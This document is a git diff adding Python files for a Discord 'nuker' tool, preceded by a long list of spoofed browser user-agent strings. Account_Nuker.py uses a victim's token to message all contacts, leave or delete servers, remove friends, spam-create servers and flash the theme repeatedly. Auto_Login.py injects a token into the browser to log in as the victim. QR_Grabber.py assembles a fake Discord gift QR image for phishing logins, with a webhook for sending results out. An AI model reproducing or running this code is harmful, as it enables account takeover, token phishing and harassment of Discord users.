AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; yie9; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSAWA Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (compatible; Windows NT 6.1; Catchpoint) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 +Mozilla/5.0 (Windows NT 6.0; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; Z970 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 +Mozilla/5.0 (X11; CrOS armv7l 6812.88.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.153 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; ) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MASAJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; 360SE) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8) +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-G925T Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Mobile Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 6457.107.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4.17.9 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 +Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0 DejaClick/2.5.0.11 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.154 Safari/537.36 LBBROWSER +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/5.0 (Linux; Android 4.4.3; KFARWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.81 like Chrome/44.0.2403.128 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/534.34 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; MAAU; NP08; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0 +Mozilla/5.0 (X11; CrOS x86_64 6946.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (iPod touch; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 IceDragon/38.0.5 Firefox/38.0.5 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; managedpc; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.2.2; Le Pan TC802A Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/6.0.51363 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 LBBROWSER +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 1520) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E) +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; 360SE) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.87 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; PRU_IE; rv:11.0) like Gecko +Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 [FBAN/FBIOS;FBAV/38.0.0.6.79;FBBV/14316658;FBDV/iPad4,1;FBMD/iPad;FBSN/iPhone OS;FBSV/8.4.1;FBSS/2; FBCR/;FBID/tablet;FBLC/en_US;FBOP/1] +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP02; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (X11; CrOS x86_64 6946.63.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9895 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Linux; Android 4.2.2; QMV7B Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (compatible; MSIE 10.0; AOL 9.7; AOLBuild 4343.1028; Windows NT 6.1; WOW64; Trident/7.0) +Mozilla/5.0 (Linux; U; Android 4.0.3; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B466 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; Active Content Browser) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; WebView/1.0) +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 +Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/50.0.125 Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-N900T Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H143 Safari/600.1.4 \ No newline at end of file diff --git a/data/users.txt b/data/users.txt new file mode 100644 index 0000000..e69de29 diff --git a/utilities/Avatars/GANG.png b/utilities/Avatars/GANG.png new file mode 100644 index 0000000..a0bce87 Binary files /dev/null and b/utilities/Avatars/GANG.png differ diff --git a/utilities/Plugins/Account_Nuker.py b/utilities/Plugins/Account_Nuker.py new file mode 100644 index 0000000..11170fd --- /dev/null +++ b/utilities/Plugins/Account_Nuker.py @@ -0,0 +1,103 @@ +# Coded by ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import random +import requests +import threading +from colorama import Fore +from itertools import cycle +from pystyle import Add, Center, Anime, Colors, Colorate, Write, System + +from utilities.Settings.common import SlowPrint, getheaders, proxy + +############################################################################### + +def GANGNUKER_START(token, Server_Name, message_Content): + if threading.active_count() <= 100: + t = threading.Thread(target=CustomSeizure, args=(token, )) + t.start() + + headers = {'Authorization': token} + channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() + for channel in channelIds: + try: + requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages', + proxies=proxy(), + headers=headers, + data={"content": f"{message_Content}"}) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] ID: "+channel['id']) + except Exception as e: + print(f"The following error has been encountered and is being ignored: {e}") + Write.Print(f"\n\nSent Message to ALL friends\n", Colors.purple_to_blue, interval=0.009) + + guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json() + for guild in guildsIds: + try: + requests.delete( + f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], proxies=proxy(), headers={'Authorization': token}) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Left Server: "+guild['name']+Fore.RESET) + except Exception as e: + print(f"The following error has been encountered and is being ignored: {e}") + + for guild in guildsIds: + try: + requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], proxies=proxy(), headers={'Authorization': token}) + print(f'[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Deleted: '+guild['name']) + except Exception as e: + print(f"The following error has been encountered and is being ignored: {e}") + Write.Print(f"\nLeft / Deleted Guilds\n", Colors.purple_to_blue, interval=0.009) + + friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies=proxy(), headers=getheaders(token)).json() + for friend in friendIds: + try: + requests.delete( + f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], proxies=proxy(), headers=getheaders(token)) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Removed Friend: "+friend['user']['username']+"#"+friend['user']['discriminator']+Fore.RESET) + except Exception as e: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] The following error has been encountered and is being ignored: {e}") + Write.Print(f"\nRemoved all available friends\n", Colors.purple_to_blue, interval=0.009) + + for i in range(100): + try: + payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None} + requests.post('https://discord.com/api/v7/guilds', proxies=proxy(), headers=getheaders(token), json=payload) + print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Created | {i}{Fore.RESET}") + except Exception as e: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] The following error has been encountered and is being ignored: {e}") + Write.Print(f"\nCreated all servers\n", Colors.purple_to_blue, interval=0.009) + t.do_run = False + requests.delete("https://discord.com/api/v8/hypesquad/online", proxies=proxy(), headers=getheaders(token)) + setting = { + 'theme': "light", + 'locale': "ja", + 'inline_embed_media': False, + 'inline_attachment_media': False, + 'gif_auto_play': False, + 'enable_tts_command': False, + 'render_embeds': False, + 'render_reactions': False, + 'animate_emoji': False, + 'convert_emoticons': False, + 'message_display_compact': False, + 'explicit_content_filter': '0', + "custom_status": {"text": "GANG-NUKER RUNS ME <3"}, + 'status': "idle" + } + requests.patch("https://discord.com/api/v7/users/@me/settings", proxies=proxy(), headers=getheaders(token), json=setting) + j = requests.get("https://discordapp.com/api/v9/users/@me", proxies=proxy(), headers=getheaders(token)).json() + a = j['username'] + "#" + j['discriminator'] + Write.Print(f"\n\nDone, RIP TO THAT ACCOUNT\n", Colors.purple_to_blue, interval=0.009) + print("[ \x1b[95m>\x1b[95m\x1B[37m ] Press ENTER: ", end="") + spammer() + +######################################## LIGHT / DARK MODE ######################################## + +def CustomSeizure(token): + t = threading.currentThread() + while getattr(t, "do_run", True): + modes = cycle(["light", "dark"]) + setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} + requests.patch("https://discord.com/api/v7/users/@me/settings", proxies=proxy(), headers=getheaders(token), json=setting) diff --git a/utilities/Plugins/Auto_Login.py b/utilities/Plugins/Auto_Login.py new file mode 100644 index 0000000..0d94852 --- /dev/null +++ b/utilities/Plugins/Auto_Login.py @@ -0,0 +1,69 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import requests +from time import sleep +from colorama import Fore, Back +from selenium import webdriver, common + +from utilities.Settings.common import getDriver, getheaders, SlowPrint + +def TokenLogin(token): + j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() + user = j["username"] + "#" + str(j["discriminator"]) + script = """ + document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"%s"` + location.reload(); + """ % (token) + type_ = getDriver() + + if type_ == "chromedriver.exe": + opts = webdriver.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Chrome(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Press ENTER: ") + input() + spammer() + elif type_ == "operadriver.exe": + opts = webdriver.opera.options.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Opera(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Press ENTER: ") + input() + spammer() + elif type_ == "msedgedriver.exe": + opts = webdriver.EdgeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Edge(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint(f"[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ") + input() + spammer() + else: + print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a suitable driver to automatically login to {user}') + sleep(3) + print(f"{Fore.YELLOW}Paste this script into the console of a browser:{Fore.RESET}\n\n{Back.RED}{script}\n{Back.RESET}") + print("Press ENTER: ", end="") + input() + spammer() + + print(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Logging Into: {user}") + driver.get("https://discordapp.com/login") + driver.execute_script(script) \ No newline at end of file diff --git a/utilities/Plugins/DM_Deleter.py b/utilities/Plugins/DM_Deleter.py new file mode 100644 index 0000000..cb5d03c --- /dev/null +++ b/utilities/Plugins/DM_Deleter.py @@ -0,0 +1,20 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import requests +from colorama import Fore + +from utilities.Settings.common import * + +def DmDeleter(token, channels): + for channel in channels: + try: + requests.delete(f'https://discord.com/api/v7/channels/'+channel['id'], + proxies=proxy(), + headers=getheaders(token)) + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted DM: {Fore.WHITE}"+channel['id']+Fore.RESET) + except Exception as e: + print(f"\nERROR | {e}") \ No newline at end of file diff --git a/utilities/Plugins/QR_Grabber.py b/utilities/Plugins/QR_Grabber.py new file mode 100644 index 0000000..bc8e76a --- /dev/null +++ b/utilities/Plugins/QR_Grabber.py @@ -0,0 +1,192 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import os +import sys +import json +import base64 +import requests +from PIL import Image +from time import sleep +from colorama import Fore +from zipfile import ZipFile +from bs4 import BeautifulSoup +from urllib.request import urlretrieve +from selenium import webdriver, common + +from utilities.Settings.common import getDriver, getheaders, SlowPrint + +def logo_qr(): + im1 = Image.open('QR-Code/temp_qr_code.png', 'r') + im2 = Image.open('QR-Code/overlay.png', 'r') + im1.paste(im2, (60, 55), im2) + im1.save('QR-Code/Qr_Code.png', quality=95) + +def paste_template(): + im1 = Image.open('QR-Code/template.png', 'r') + im2 = Image.open('QR-Code/Qr_Code.png', 'r') + im1.paste(im2, (120, 409)) + im1.save('QR-Code/discord_gift.png', quality=95) + +def QR_Grabber(Webhook): + type_ = getDriver() + + if type_ == "chromedriver.exe": + opts = webdriver.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Chrome(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Enter anything to continue. . . ") + input() + spammer() + elif type_ == "operadriver.exe": + opts = webdriver.opera.options.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Opera(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Enter anything to continue. . . ") + input() + spammer() + elif type_ == "msedgedriver.exe": + opts = webdriver.EdgeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Edge(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint(f"Enter anything to continue. . .") + input() + spammer() + else: + print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a driver to create a QR code with') + sleep(3) + print("Enter anything to continue. . . ", end="") + input() + spammer() + + driver.get('https://discord.com/login') + sleep(3) + + page_source = driver.page_source + soup = BeautifulSoup(page_source, features='html.parser') + + div = soup.find('div', {'class': 'qrCode-2R7t9S'}) + qr_code = div.find('img')['src'] + file = os.path.join(os.getcwd(), 'QR-Code/temp_qr_code.png') + + img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) + + SlowPrint(f"\n{Fore.WHITE}Downloading QR Templates!") + + urlretrieve( + "https://github.com/TT-Tutorials/addons/raw/main/GANG-Nuker%20Addons/QR-Code.zip", + filename="QR-Code.zip", + ) + with ZipFile("QR-Code.zip", 'r')as zip2: + zip2.extractall() + os.remove("QR-Code.zip") + + with open(file,'wb') as handler: + handler.write(img_data) + + discord_login = driver.current_url + logo_qr() + paste_template() + + os.remove(os.getcwd()+"\\QR-Code\\overlay.png") + os.remove(os.getcwd()+"\\QR-Code\\template.png") + 